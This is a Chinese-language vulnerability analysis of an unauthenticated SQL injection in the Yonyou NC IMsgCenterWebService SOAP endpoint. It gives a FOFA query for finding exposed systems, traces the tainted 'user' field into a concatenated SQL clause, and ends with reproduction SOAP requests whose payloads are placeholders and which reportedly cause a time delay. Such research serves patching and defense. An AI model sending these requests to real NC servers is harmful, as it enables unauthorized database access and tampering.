漏洞简介
用友 NC(Yonyou NC)是一款广泛应用于大型企业的集成化管理软件,涵盖财务、供应链、人力资源等核心业务管理功能。NC 系统的 IMsgCenterWebService 接口在处理请求时存在 SQL 注入漏洞,主要原因是该接口未对外部输入的参数进行严格的过滤与验证。攻击者可通过构造恶意的 SQL 语句并发送至该接口,从而与后端数据库进行非法交互,不仅可能导致系统敏感信息泄露,严重时还可能造成数据库内容被篡改甚至完全控制数据库服务器,对企业信息安全构成重大威胁。建议受影响用户及时关注厂商发布的官方通告,并根据系统版本部署相应的修复补丁以加固防护。
影响版本
NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
入口
首先根据漏洞通告参考1

关于NC系统IMsgCenterWebService的sql注入漏洞的安全通告里提到的注入点在IMsgCenterWebService里,那就在idea里搜索IMsgCenterWebService,找到了nc.itf.msgcenter.IMsgCenterWebService,而它对应的Web Service端点如下
WSDL地址: http://<host>:<port>/uapws/service/nc.itf.msgcenter.IMsgCenterWebService?wsdl
SOAP端点: http://<host>:<port>/uapws/service/nc.itf.msgcenter.IMsgCenterWebService
Servlet映射: /uapws/service/* → WebServiceServlet (nc.uap.ws.transport.servlet.WebServiceServlet)
UPM服务注册
文件路径: modules/uapmp/META-INF/msgcenter.upm
<module name="nc.itf.uap.pf.PlatformEJB">
<public>
<component>
<interface>nc.itf.msgcenter.IMsgCenterWebService</interface>
<implementation>nc.impl.msgcenter.MsgCenterWebServiceImpl</implementation>
<extension class="nc.uap.ws.deploy.OxbWSExtensionProcessor">
<wsdl>/nc/itf/msgcenter/IMsgCenterWebService.wsdl</wsdl>
<address>/nc.itf.msgcenter.IMsgCenterWebService</address>
</extension>
</component>
</public>
</module>
接口方法列表
| 方法名 | 参数 | 返回值 | 是否存在注入 |
|---|---|---|---|
queryMsgByUserAndType |
dataSource, param(JSON), pageSize, index | String | 是 |
queryMsgByPkAndType |
dataSource, pk_sourcemsg, msgtype | String | 否 |
doAction |
dataSource, actionCode, pluginType, param(JSON) | String | 是 |
getAttachment |
dataSource, type, address | String | 否 |
uploadAttachment |
dataSource, msgtype, pk_sourcemsg, filename, file | String | 否 |
loginNC |
dataSource, usercode, password | String[] | 否 |
transforUserCodeBySys |
dataSource, sysccode, usercode | String | 否 |
鉴权分析
UPM安全配置
在 msgcenter.upm 中,Web Service的安全组件被完全注释掉:
<!--<security>
<protect authority="wsAccessController" authenticator="wsAuthenticator"/>
</security>-->
- wsAccessController:
nc.ws.control.WSAccessController- 已注释,不生效 - wsAuthenticator:
nc.ws.control.WSAccessController- 已注释,不生效
总之,该Web Service端点无需任何认证即可访问。
数据污点传播路径
注入点一: queryMsgByUserAndType 方法
[攻击者发送SOAP请求]
│
▼
[WebServiceServlet] (/uapws/service/*)
│
▼
[MsgCenterWebServiceImpl.queryMsgByUserAndType(dataSource, param, pageSize, index)]
│ 文件: nc/impl/msgcenter/MsgCenterWebServiceImpl.java
│
├─→ [MsgCenterUtil.readStringToMap(param)] // JSON反序列化
│ 文件: nc/bs/msgcenter/util/MsgCenterUtil.java
│ 返回: Map<String, Object>
│
├─→ paramMap.get("user") // 提取user字段 ← 污点源
│
▼
[MsgCenterServiceImpl.queryMsgByUserAndType(dataSource, user, ...)]
│ 文件: nc/impl/msgcenter/MsgCenterServiceImpl.java
│
▼
[MsgCenterServiceImpl.resetInvacationInfoByUsercode(dataSource, user)]
│ 文件: nc/impl/msgcenter/MsgCenterServiceImpl.java:76-87
│
├─→ InvocationInfoProxy.getInstance().setUserDataSource(dataSource)
│
└─→ [BaseDAO.retrieveByClause(UserVO.class, "user_code= '" + usercode + "'")]
│ 文件: nc/bs/dao/BaseDAO.java
│
└─→ SQL执行: SELECT * FROM sm_user WHERE user_code= '{注入点}'
↑
└── SQL注入发生在此处
注入点二: doAction 方法
[攻击者发送SOAP请求]
│
▼
[MsgCenterWebServiceImpl.doAction(dataSource, actionCode, pluginType, param)]
│
▼
[MsgCenterServiceImpl.doAction(dataSource, actionCode, pluginType, param)]
│
▼
[MsgCenterServiceImpl.resetInvacationInfo(dataSource, param)]
│ 文件: nc/impl/msgcenter/MsgCenterServiceImpl.java:155-168
│
├─→ [MsgCenterUtil.readStringToMap(param)] // JSON反序列化
│
├─→ paramMap.get("pk_sourcemsg")
│ if (StringUtils.isNotBlank(pk_sourcemsg)) {
│ resetInvacationInfoByMsgID(dataSource, pk_sourcemsg); // 路径A
│ return;
│ }
│
├─→ paramMap.get("user") // 提取user字段 ← 污点源
│ if (StringUtils.isNotBlank(usercode)) {
│ resetInvacationInfoByUsercode(dataSource, usercode); // 路径B ← 注入点
│ return;
│ }
│
└─→ resetInvacationInfo(dataSource) // 路径C (无注入)
关键: 当 pk_sourcemsg 为空且 user 非空时,进入路径B,触发SQL注入。
漏洞代码详细分析
文件: /nc/impl/msgcenter/MsgCenterServiceImpl.java
private void resetInvacationInfoByUsercode(String dataSource, String usercode) throws BusinessException {
// 设置数据源
InvocationInfoProxy.getInstance().setUserDataSource(dataSource);
// SQL注入点: usercode直接拼接到SQL语句中
Collection users = new BaseDAO().retrieveByClause(
UserVO.class,
"user_code= '" + usercode + "'" // ← 注入点
);
if (users != null && users.size() > 0) {
UserVO user = (UserVO)users.iterator().next();
InvocationInfoProxy.getInstance().setUserId(user.getPrimaryKey());
InvocationInfoProxy.getInstance().setGroupId(user.getPk_group());
} else {
InvocationInfoProxy.getInstance().setUserId("NC_USER0000000000000");
InvocationInfoProxy.getInstance().setGroupId("GLOBLE00000000000000");
}
}
JSON解析器
文件: /nc/bs/msgcenter/util/MsgCenterUtil.java
public static Map<String, Object> readStringToMap(String content) throws BusinessException {
try {
return (Map)instence.getGson().fromJson(content, Map.class);
} catch (Exception e) {
Logger.error("Json转换出错:" + e.getMessage(), e);
return null;
}
}
使用Gson库解析JSON,无任何输入过滤或校验。
两个注入方法对比
本接口有两个方法存在SQL注入,注入点相同但参数构造方式不同:
| 特征 | doAction |
queryMsgByUserAndType |
|---|---|---|
| 注入字段 | param JSON的user字段 |
param JSON的user字段 |
| 调用路径 | resetInvacationInfo() → resetInvacationInfoByUsercode() |
直接调用resetInvacationInfoByUsercode() |
| JSON要求 | pk_sourcemsg必须为空字符串 |
必须包含start和end字段(值为空字符串) |
| 易踩坑点 | 无 | 缺少start/end字段会导致convertToDate(null)抛NPE,注入不生效 |
| 注入效果 | 相同 | 相同 |
doAction 注入
SOAP请求模板:
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ns:doAction>
<dataSource>NCDB</dataSource>
<actionCode>test</actionCode>
<pluginType>test</pluginType>
<param>{"user":"注入PAYLOAD","pk_sourcemsg":""}</param>
</ns:doAction>
</soapenv:Body>
</soapenv:Envelope>
JSON参数说明:
user: SQL注入payloadpk_sourcemsg: 必须为空字符串(非空则走resetInvacationInfoByMsgID路径,不触发注入)
调用链:
MsgCenterWebServiceImpl.doAction()
→ MsgCenterServiceImpl.doAction()
→ resetInvacationInfo(dataSource, param)
→ MsgCenterUtil.readStringToMap(param) // JSON解析
→ paramMap.get("pk_sourcemsg") // 为空,跳过
→ paramMap.get("user") // 提取注入payload
→ resetInvacationInfoByUsercode(dataSource, usercode) // ★注入点★
queryMsgByUserAndType 注入
关键注意: JSON中必须包含start和end字段(值为空字符串),否则MsgCenterUtil.convertToDate(null)会在SQL注入执行前抛出NPE。
NPE原因分析:
// MsgCenterWebServiceImpl.java:39
String startDate = paramMap.get("start"); // JSON中无"start"键 → 返回null
Date start = MsgCenterUtil.convertToDate(startDate); // 传入null
// MsgCenterUtil.java:152
public static Date convertToDate(String date) {
SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HHmmss.SSSZ");
return sdf.parse(date.replaceAll(":", "")); // null.replaceAll() → NPE!
}
SOAP请求模板:
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ns:queryMsgByUserAndType>
<dataSource>NCDB</dataSource>
<param>{"user":"注入PAYLOAD","msgtype":"test","msgstatus":"","start":"","end":"","seach":"","seachSender":"","billtype":"","billno":"","billid":""}</param>
<pageSize>10</pageSize>
<index>0</index>
</ns:queryMsgByUserAndType>
</soapenv:Body>
</soapenv:Envelope>
JSON参数说明:
user: SQL注入payloadmsgtype: 消息类型(可为任意值)msgstatus: 消息状态(空字符串)start/end: 必须存在(值为空字符串),否则NPEseach/seachSender/billtype/billno/billid: 可选字段
调用链:
MsgCenterWebServiceImpl.queryMsgByUserAndType()
→ MsgCenterUtil.readStringToMap(param) // JSON解析
→ paramMap.get("user") // 提取注入payload
→ paramMap.get("start") // 空字符串 → convertToDate返回null,不NPE
→ MsgCenterServiceImpl.queryMsgByUserAndType(dataSource, user, ...)
→ resetInvacationInfoByUsercode(dataSource, user) // ★注入点★
漏洞复现
doAction
POST /uapws/service/nc.itf.msgcenter.IMsgCenterWebService HTTP/1.1
Host:
SOAPAction: urn:doAction
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ims="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ims:doAction>
<!--type: string-->
<dataSource>NC65</dataSource>
<!--type: string-->
<actionCode>test</actionCode>
<!--type: string-->
<pluginType>test</pluginType>
<!--type: string-->
<param>{"user":"'SQLI_POC","pk_sourcemsg":""}</param>
</ims:doAction>
</soapenv:Body>
</soapenv:Envelope>

成功延时 3 秒
queryMsgByUserAndType
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:ns="http://msgcenter.itf.nc/IMsgCenterWebService">
<soapenv:Header/>
<soapenv:Body>
<ns:queryMsgByUserAndType>
<dataSource>NC65</dataSource>
<param>{"user":"SQLI_POC","msgtype":"test","msgstatus":"","start":"","end":"","seach":"","seachSender":"","billtype":"","billno":"","billid":""}</param>
<pageSize>10</pageSize>
<index>0</index>
</ns:queryMsgByUserAndType>
</soapenv:Body>
</soapenv:Envelope>

成功延时 3 秒


